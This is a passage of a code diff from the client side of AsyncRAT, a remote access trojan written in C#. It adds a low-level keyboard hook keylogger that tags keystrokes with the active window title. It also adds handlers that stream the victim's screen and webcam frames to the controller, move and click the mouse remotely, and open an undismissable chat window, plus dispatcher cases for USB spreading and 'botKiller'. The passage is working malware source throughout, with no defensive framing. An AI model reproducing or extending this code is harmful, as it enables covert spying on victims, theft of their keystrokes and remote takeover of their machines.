{
|
||||
IntPtr hwnd = GetForegroundWindow();
|
||||
GetWindowThreadProcessId(hwnd, out uint pid);
|
||||
Process p = Process.GetProcessById((int)pid);
|
||||
string title = p.MainWindowTitle;
|
||||
if (string.IsNullOrWhiteSpace(title))
|
||||
title = p.ProcessName;
|
||||
CurrentActiveWindowTitle = title;
|
||||
return title;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return "???";
|
||||
}
|
||||
}
|
||||
|
||||
#region "Hooks & Native Methods"
|
||||
|
||||
private const int WM_KEYDOWN = 0x0100;
|
||||
private static readonly LowLevelKeyboardProc _proc = HookCallback;
|
||||
private static IntPtr _hookID = IntPtr.Zero;
|
||||
private static readonly int WHKEYBOARDLL = 13;
|
||||
private static string CurrentActiveWindowTitle;
|
||||
|
||||
|
||||
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
|
||||
public static extern short GetKeyState(int keyCode);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool GetKeyboardState(byte[] lpKeyState);
|
||||
[DllImport("user32.dll")]
|
||||
static extern IntPtr GetKeyboardLayout(uint idThread);
|
||||
[DllImport("user32.dll")]
|
||||
static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
|
||||
[DllImport("user32.dll")]
|
||||
static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
||||
|
||||
#endregion
|
||||
|
||||
}
|
||||
}
|
@ -0,0 +1,117 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using Client.StreamLibrary.UnsafeCodecs;
|
||||
using Client.Helper;
|
||||
using Client.StreamLibrary;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleRemoteDesktop
|
||||
{
|
||||
public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "capture":
|
||||
{
|
||||
CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseClick":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseMove":
|
||||
{
|
||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
public void CaptureAndSend(int quality, int Scrn)
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
string hwid = Methods.HWID();
|
||||
Bitmap bmp = null;
|
||||
BitmapData bmpData = null;
|
||||
Rectangle rect;
|
||||
Size size;
|
||||
MsgPack msgpack;
|
||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||
MemoryStream stream;
|
||||
while (tempSocket.IsConnected && ClientSocket.IsConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
bmp = GetScreen(Scrn);
|
||||
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
size = new Size(bmp.Width, bmp.Height);
|
||||
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||
|
||||
using (stream = new MemoryStream())
|
||||
{
|
||||
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
||||
|
||||
if (stream.Length > 0)
|
||||
{
|
||||
msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("ID").AsString = hwid;
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
|
||||
tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
|
||||
tempSocket.SslClient.Write(msgpack.Encode2Bytes());
|
||||
tempSocket.SslClient.Flush();
|
||||
Thread.Sleep(1);
|
||||
}
|
||||
}
|
||||
bmp.UnlockBits(bmpData);
|
||||
bmp.Dispose();
|
||||
}
|
||||
catch { break; }
|
||||
}
|
||||
try
|
||||
{
|
||||
bmp?.UnlockBits(bmpData);
|
||||
bmp?.Dispose();
|
||||
tempSocket?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private Bitmap GetScreen(int Scrn)
|
||||
{
|
||||
Rectangle rect = Screen.AllScreens[Scrn].Bounds;
|
||||
try
|
||||
{
|
||||
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
|
||||
{
|
||||
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
return bmpScreenshot;
|
||||
}
|
||||
}
|
||||
catch { return new Bitmap(rect.Width, rect.Height); }
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
|
||||
}
|
||||
}
|
@ -35,13 +35,6 @@ namespace Client.Handle_Packet
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
RegistryDB.DeleteSubKey();
|
||||
}
|
||||
catch { }
|
||||
|
||||
ProcessStartInfo Del = null;
|
||||
try
|
||||
{
|
214
AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs
Normal file
214
AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs
Normal file
@ -0,0 +1,214 @@
|
||||
using AForge.Video;
|
||||
using AForge.Video.DirectShow;
|
||||
using Client.Connection;
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public static class HandleWebcam
|
||||
{
|
||||
public static bool IsOn = false;
|
||||
public static VideoCaptureDevice FinalVideo;
|
||||
public static string HWID = Methods.HWID();
|
||||
private static MemoryStream Camstream = new MemoryStream();
|
||||
private static TempSocket TempSocket = null;
|
||||
private static int Quality = 50;
|
||||
|
||||
public static void Run(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "webcam":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "getWebcams":
|
||||
{
|
||||
TempSocket?.Dispose();
|
||||
TempSocket = new TempSocket();
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
GetWebcams();
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
TempSocket.Dispose();
|
||||
CaptureDispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "capture":
|
||||
{
|
||||
if (IsOn == true) return;
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
IsOn = true;
|
||||
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString);
|
||||
Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger;
|
||||
FinalVideo.NewFrame += CaptureRun;
|
||||
FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger];
|
||||
FinalVideo.Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "stop":
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Webcam switch" + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void CaptureRun(object sender, NewFrameEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
if (IsOn == true)
|
||||
{
|
||||
Bitmap image = (Bitmap)e.Frame.Clone();
|
||||
using (Camstream = new MemoryStream())
|
||||
{
|
||||
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
|
||||
EncoderParameters myEncoderParameters = new EncoderParameters(1);
|
||||
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality);
|
||||
myEncoderParameters.Param[0] = myEncoderParameter;
|
||||
ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg);
|
||||
image.Save(Camstream, jpgEncoder, myEncoderParameters);
|
||||
myEncoderParameters?.Dispose();
|
||||
myEncoderParameter?.Dispose();
|
||||
image?.Dispose();
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("Command").AsString = "capture";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
|
||||
TempSocket.Send(msgpack.Encode2Bytes());
|
||||
Thread.Sleep(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
Debug.WriteLine("CaptureRun: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void GetWebcams()
|
||||
{
|
||||
try
|
||||
{
|
||||
StringBuilder deviceInfo = new StringBuilder();
|
||||
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)
|
||||
{
|
||||
deviceInfo.Append(videoCaptureDevice.Name + "-=>");
|
||||
VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString);
|
||||
Debug.WriteLine(videoCaptureDevice.Name);
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
if (deviceInfo.Length > 0)
|
||||
{
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("List").AsString = deviceInfo.ToString();
|
||||
}
|
||||
else
|
||||
{
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("List").AsString = "None";
|
||||
}
|
||||
TempSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static void CaptureDispose()
|
||||
{
|
||||
try
|
||||
{
|
||||
IsOn = false;
|
||||
FinalVideo.Stop();
|
||||
FinalVideo.NewFrame -= CaptureRun;
|
||||
Camstream?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
47
AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs
Normal file
47
AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs
Normal file
@ -0,0 +1,47 @@
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlerChat
|
||||
{
|
||||
|
||||
public void CreateChat()
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
Packet.GetFormChat = new FormChat();
|
||||
Packet.GetFormChat.ShowDialog();
|
||||
}).Start();
|
||||
}
|
||||
public void WriteInput(MsgPack unpack_msgpack)
|
||||
{
|
||||
if (Packet.GetFormChat.InvokeRequired)
|
||||
{
|
||||
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
Console.Beep();
|
||||
Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine);
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
public void ExitChat()
|
||||
{
|
||||
if (Packet.GetFormChat.InvokeRequired)
|
||||
{
|
||||
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
Packet.GetFormChat.Close();
|
||||
Packet.GetFormChat.Dispose();
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -17,6 +17,7 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
public static CancellationTokenSource ctsDos;
|
||||
public static CancellationTokenSource ctsReportWindow;
|
||||
public static FormChat GetFormChat;
|
||||
public static string FileCopy = null;
|
||||
|
||||
public static void Read(object data)
|
||||
@ -99,24 +100,54 @@ namespace Client.Handle_Packet
|
||||
break;
|
||||
}
|
||||
|
||||
case "usb":
|
||||
case "usbSpread":
|
||||
{
|
||||
new HandleLimeUSB(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "remoteDesktop":
|
||||
{
|
||||
new HandleRemoteDesktop(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "processManager":
|
||||
{
|
||||
new HandleProcessManager(unpack_msgpack);
|
||||
}
|
||||
break;
|
||||
|
||||
case "fileManager":
|
||||
{
|
||||
new FileManager(unpack_msgpack);
|
||||
}
|
||||
break;
|
||||
|
||||
case "botKiller":
|
||||
{
|
||||
new HandleBotKiller().RunBotKiller();
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyLogger":
|
||||
{
|
||||
string isON = unpack_msgpack.ForcePathObject("isON").AsString;
|
||||
if (isON == "true")
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
HandleLimeLogger.isON = true;
|
||||
HandleLimeLogger.Run();
|
||||
}).Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
HandleLimeLogger.isON = false;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "visitURL":
|
||||
{
|
||||
string url = unpack_msgpack.ForcePathObject("URL").AsString;
|
||||
@ -160,6 +191,24 @@ namespace Client.Handle_Packet
|
||||
break;
|
||||
}
|
||||
|
||||
case "chat":
|
||||
{
|
||||
new HandlerChat().CreateChat();
|
||||
break;
|
||||
}
|
||||
|
||||
case "chatWriteInput":
|
||||
{
|
||||
new HandlerChat().WriteInput(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "chatExit":
|
||||
{
|
||||
new HandlerChat().ExitChat();
|
||||
break;
|
||||
}
|
||||
|
||||
case "pcOptions":
|
||||
{
|
||||
new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString);
|
||||
@ -191,12 +240,13 @@ namespace Client.Handle_Packet
|
||||
break;
|
||||
}
|
||||
|
||||
case "plugin":
|
||||
case "webcam":
|
||||
{
|
||||
new HandlePlugin(unpack_msgpack);
|
||||
HandleWebcam.Run(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
//case "netStat":
|
||||
// {
|
||||
// HandleNetStat.RunNetStat();
|
||||
@ -208,10 +258,6 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
finally
|
||||
{
|
||||
GC.Collect();
|
||||
}
|
||||
}
|
||||
|
||||
private static void Received()
|
93
AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs
generated
Normal file
93
AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs
generated
Normal file
@ -0,0 +1,93 @@
|
||||
namespace Client.Helper
|
||||
{
|
||||
partial class FormChat
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
this.textBox1 = new System.Windows.Forms.TextBox();
|
||||
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// textBox1
|
||||
//
|
||||
this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
|
||||
this.textBox1.Location = new System.Drawing.Point(0, 384);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new System.Drawing.Size(757, 26);
|
||||
this.textBox1.TabIndex = 3;
|
||||
this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown);
|
||||
//
|
||||
// richTextBox1
|
||||
//
|
||||
this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||
| System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.richTextBox1.BackColor = System.Drawing.SystemColors.Window;
|
||||
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.richTextBox1.Location = new System.Drawing.Point(12, 12);
|
||||
this.richTextBox1.Name = "richTextBox1";
|
||||
this.richTextBox1.ReadOnly = true;
|
||||
this.richTextBox1.Size = new System.Drawing.Size(733, 351);
|
||||
this.richTextBox1.TabIndex = 2;
|
||||
this.richTextBox1.Text = "";
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||
//
|
||||
// FormChat
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.BackColor = System.Drawing.SystemColors.Window;
|
||||
this.ClientSize = new System.Drawing.Size(757, 410);
|
||||
this.ControlBox = false;
|
||||
this.Controls.Add(this.textBox1);
|
||||
this.Controls.Add(this.richTextBox1);
|
||||
this.Name = "FormChat";
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "AysncRAT | Chat";
|
||||
this.TopMost = true;
|
||||
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormChat_FormClosing);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.TextBox textBox1;
|
||||
public System.Windows.Forms.RichTextBox richTextBox1;
|
||||
private System.Windows.Forms.Timer timer1;
|
||||
}
|
||||
}
|
45
AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.cs
Normal file
45
AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using Client.Handle_Packet;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public partial class FormChat : Form
|
||||
{
|
||||
public FormChat()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void TextBox1_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text))
|
||||
{
|
||||
richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chat";
|
||||
msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine;
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
textBox1.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
private void FormChat_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
e.Cancel = true;
|
||||
}
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
123
AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.resx
Normal file
123
AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.resx
Normal file
@ -0,0 +1,123 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
